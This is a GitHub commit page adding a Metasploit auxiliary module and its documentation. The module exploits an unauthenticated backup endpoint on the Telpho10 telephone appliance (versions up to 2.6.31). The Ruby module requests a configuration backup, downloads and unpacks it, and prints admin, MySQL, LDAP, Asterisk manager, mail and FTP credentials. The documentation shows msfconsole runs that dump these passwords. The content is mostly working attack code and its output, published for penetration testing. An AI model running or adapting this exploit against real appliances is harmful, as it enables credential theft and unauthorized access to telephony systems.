Skip to content

Commit 5c12d55

Browse files
committed
Land rapid7#7484, Add Telpho10 Credentials Dump Exploit
2 parents d918e25 + 991a3fe commit 5c12d55

File tree

2 files changed

+291
-0
lines changed

2 files changed

+291
-0
lines changed
Lines changed: 132 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,132 @@
1+
## Vulnerable Application
2+
3+
Telpho10 v2.6.31 (32-bit Linux ISO image download [here](http://www.telpho.de/downloads/telpho10/telpho10-v2.6.31-SATA.iso)).
4+
5+
Supporting documentation for this product can be found [here](http://www.telpho.de/downloads.php).
6+
7+
## Verification Steps
8+
9+
The following steps will allow you to install and dump the credentials from a Telpho10 instance:
10+
11+
1. Download the [Telpho10 ISO image](http://www.telpho.de/downloads/telpho10/telpho10-v2.6.31-SATA.iso) and install in a VM (or on a system)
12+
- note that the ISO will default to a German keyboard layout
13+
1. configure the Telpho10's IP address
14+
- edit /etc/networks/interfaces accordingly
15+
1. Start msfconsole
16+
1. Do: ```use auxiliary/admin/http/telpho10_credential_dump```
17+
1. Do: ```set RHOST <IP address of your Telpho10 instance> ```
18+
1. Do: ```run```
19+
1. You should see a list of the retrieved Telpho10 credentials
20+
21+
## Scenarios
22+
23+
Example output when using this against a Telpho10 v2.6.31 VM:
24+
25+
```
26+
$ ./msfconsole
27+
28+
# cowsay++
29+
____________
30+
< metasploit >
31+
------------
32+
\ ,__,
33+
\ (oo)____
34+
(__) )\
35+
||--|| *
36+
37+
38+
=[ metasploit v4.12.36-dev-16fc6c1 ]
39+
+ -- --=[ 1596 exploits - 908 auxiliary - 273 post ]
40+
+ -- --=[ 458 payloads - 39 encoders - 8 nops ]
41+
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
42+
43+
msf > use auxiliary/admin/http/telpho10_credential_dump
44+
msf auxiliary(telpho10_credential_dump) > set RHOST 10.0.2.35
45+
RHOST => 10.0.2.35
46+
msf auxiliary(telpho10_credential_dump) > run
47+
48+
[*] Generating backup
49+
[*] Downloading backup
50+
[+] File saved in: /home/pbarry/.msf4/loot/20161028155202_default_10.0.2.35_telpho10.backup_185682.tar
51+
[*] Dumping credentials
52+
53+
[*] Login (/telpho/login.php)
54+
[*] -------------------------
55+
[+] Username: admin
56+
[+] Password: telpho
57+
58+
[*] MySQL (/phpmyadmin)
59+
[*] -------------------
60+
[+] Username: root
61+
[+] Password: telpho
62+
63+
[*] LDAP (/phpldapadmin)
64+
[*] --------------------
65+
[+] Username: cn=admin,dc=localdomain
66+
[+] Password: telpho
67+
68+
[*] Asterisk MI (port 5038)
69+
[*] -----------------------
70+
[+] Username: telpho
71+
[+] Password: telpho
72+
73+
[*] Mail configuration
74+
[*] ------------------
75+
[+] Mailserver:
76+
[+] Username:
77+
[+] Password:
78+
[+] Mail from:
79+
80+
[*] Online Backup
81+
[*] -------------
82+
[+] ID:
83+
[+] Password:
84+
85+
[*] Auxiliary module execution completed
86+
msf auxiliary(telpho10_credential_dump) >
87+
```
88+
89+
I navigated my browser to the admin page of the UI and changed some of the password values, then ran the module again to verify I see the updated values:
90+
91+
```
92+
msf auxiliary(telpho10_credential_dump) > run
93+
94+
[*] Generating backup
95+
[*] Downloading backup
96+
[+] File saved in: /home/pbarry/.msf4/loot/20161028161929_default_10.0.2.35_telpho10.backup_044262.tar
97+
[*] Dumping credentials
98+
99+
[*] Login (/telpho/login.php)
100+
[*] -------------------------
101+
[+] Username: admin
102+
[+] Password: s3cr3t
103+
104+
[*] MySQL (/phpmyadmin)
105+
[*] -------------------
106+
[+] Username: root
107+
[+] Password: telpho
108+
109+
[*] LDAP (/phpldapadmin)
110+
[*] --------------------
111+
[+] Username: cn=admin,dc=localdomain
112+
[+] Password: ldaps3cr3t
113+
114+
[*] Asterisk MI (port 5038)
115+
[*] -----------------------
116+
[+] Username: telpho
117+
[+] Password: asterisks3cr3t
118+
119+
[*] Mail configuration
120+
[*] ------------------
121+
[+] Mailserver:
122+
[+] Username:
123+
[+] Password:
124+
[+] Mail from:
125+
126+
[*] Online Backup
127+
[*] -------------
128+
[+] ID:
129+
[+] Password:
130+
131+
[*] Auxiliary module execution completed
132+
```
Lines changed: 159 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,159 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'rubygems/package'
8+
9+
class MetasploitModule < Msf::Auxiliary
10+
include Msf::Auxiliary::Report
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
def initialize(info={})
14+
super(update_info(info,
15+
'Name' => 'Telpho10 Backup Credentials Dumper',
16+
'Description' => %q{
17+
This module exploits a vulnerability found in Telpho10 telephone system
18+
appliance. This module generates a configuration backup of Telpho10,
19+
downloads the file and dumps the credentials for admin login,
20+
phpmyadmin, phpldapadmin, etc.
21+
This module has been successfully tested on the appliance.
22+
},
23+
'Author' => 'Jan Rude', # Vulnerability Discovery and Metasploit Module
24+
'License' => MSF_LICENSE,
25+
'References' => ['URL', 'https://github.com/whoot/TelpOWN'],
26+
'Platform' => 'linux',
27+
'Targets' =>
28+
[
29+
['Telpho10 <= 2.6.31', {}]
30+
],
31+
'Privileged' => false,
32+
'DisclosureDate' => 'Sep 2 2016'))
33+
34+
register_options(
35+
[
36+
Opt::RPORT(80)
37+
], self.class)
38+
end
39+
40+
# Used for unpacking backup files
41+
def untar(tarfile)
42+
destination = tarfile.split('.tar').first
43+
FileUtils.mkdir_p(destination)
44+
File.open(tarfile, 'rb') do |file|
45+
Gem::Package::TarReader.new(file) do |tar|
46+
tar.each do |entry|
47+
dest = File.join destination, entry.full_name
48+
if entry.file?
49+
File.open(dest, 'wb') do |f|
50+
f.write(entry.read)
51+
end
52+
File.chmod(entry.header.mode, dest)
53+
end
54+
end
55+
end
56+
end
57+
return destination
58+
end
59+
60+
# search for credentials in backup file
61+
def dump_creds(mysql_file)
62+
file = File.new(mysql_file, 'r')
63+
while (line = file.gets)
64+
if line.include? 'adminusername'
65+
config = [line]
66+
end
67+
end
68+
file.close
69+
70+
print_status('Login (/telpho/login.php)')
71+
print_status('-------------------------')
72+
print_good("Username: #{config.first[/adminusername\',\'(.*?)\'/, 1]}")
73+
print_good("Password: #{config.first[/adminpassword\',\'(.*?)\'/, 1]}\n")
74+
75+
print_status('MySQL (/phpmyadmin)')
76+
print_status('-------------------')
77+
print_good('Username: root')
78+
print_good("Password: #{config.first[/dbpassword\',\'(.*?)\'/, 1]}\n")
79+
80+
print_status('LDAP (/phpldapadmin)')
81+
print_status('--------------------')
82+
print_good('Username: cn=admin,dc=localdomain')
83+
print_good("Password: #{config.first[/ldappassword\',\'(.*?)\'/, 1]}\n")
84+
85+
print_status('Asterisk MI (port 5038)')
86+
print_status('-----------------------')
87+
print_good("Username: #{config.first[/manageruser\',\'(.*?)\'/, 1]}")
88+
print_good("Password: #{config.first[/managersecret\',\'(.*?)\'/, 1]}\n")
89+
90+
print_status('Mail configuration')
91+
print_status('------------------')
92+
print_good("Mailserver: #{config.first[/ipsmarthost\',\'(.*?)\'/, 1]}")
93+
print_good("Username: #{config.first[/mailusername\',\'(.*?)\'/, 1]}")
94+
print_good("Password: #{config.first[/mailpassword\',\'(.*?)\'/, 1]}")
95+
print_good("Mail from: #{config.first[/mailfrom\',\'(.*?)\'/, 1]}\n")
96+
97+
print_status('Online Backup')
98+
print_status('-------------')
99+
print_good("ID: #{config.first[/ftpbackupid\',\'(.*?)\'/, 1]}")
100+
print_good("Password: #{config.first[/ftpbackuppw\',\'(.*?)\'/, 1]}\n")
101+
102+
end
103+
104+
def run
105+
res = send_request_cgi({
106+
'uri' => '/telpho/system/backup.php',
107+
'method' => 'GET'
108+
})
109+
if res && res.code == 200
110+
print_status('Generating backup')
111+
sleep(1)
112+
else
113+
print_error("Could not find vulnerable script. Aborting.")
114+
return nil
115+
end
116+
117+
print_status('Downloading backup')
118+
res = send_request_cgi({
119+
'uri' => '/telpho/temp/telpho10.epb',
120+
'method' => 'GET'
121+
})
122+
if res && res.code == 200
123+
if res.body.to_s.bytesize == 0
124+
print_error('0 bytes returned, file does not exist or is empty.')
125+
return nil
126+
end
127+
128+
path = store_loot(
129+
'telpho10.backup',
130+
'application/x-compressed',
131+
datastore['RHOST'],
132+
res.body,
133+
'backup.tar'
134+
)
135+
print_good("File saved in: #{path}")
136+
137+
begin
138+
extracted = untar("#{path}")
139+
mysql = untar("#{extracted}/mysql.tar")
140+
rescue
141+
print_error('Could not unpack files.')
142+
return nil
143+
end
144+
begin
145+
print_status("Dumping credentials\n")
146+
dump_creds("#{mysql}/mysql.epb")
147+
rescue
148+
print_error('Could not find credential file.')
149+
return nil
150+
end
151+
else
152+
print_error('Failed to download backup file.')
153+
return nil
154+
end
155+
rescue ::Rex::ConnectionError
156+
print_error("#{rhost}:#{rport} - Failed to connect")
157+
return nil
158+
end
159+
end

0 commit comments

Comments
 (0)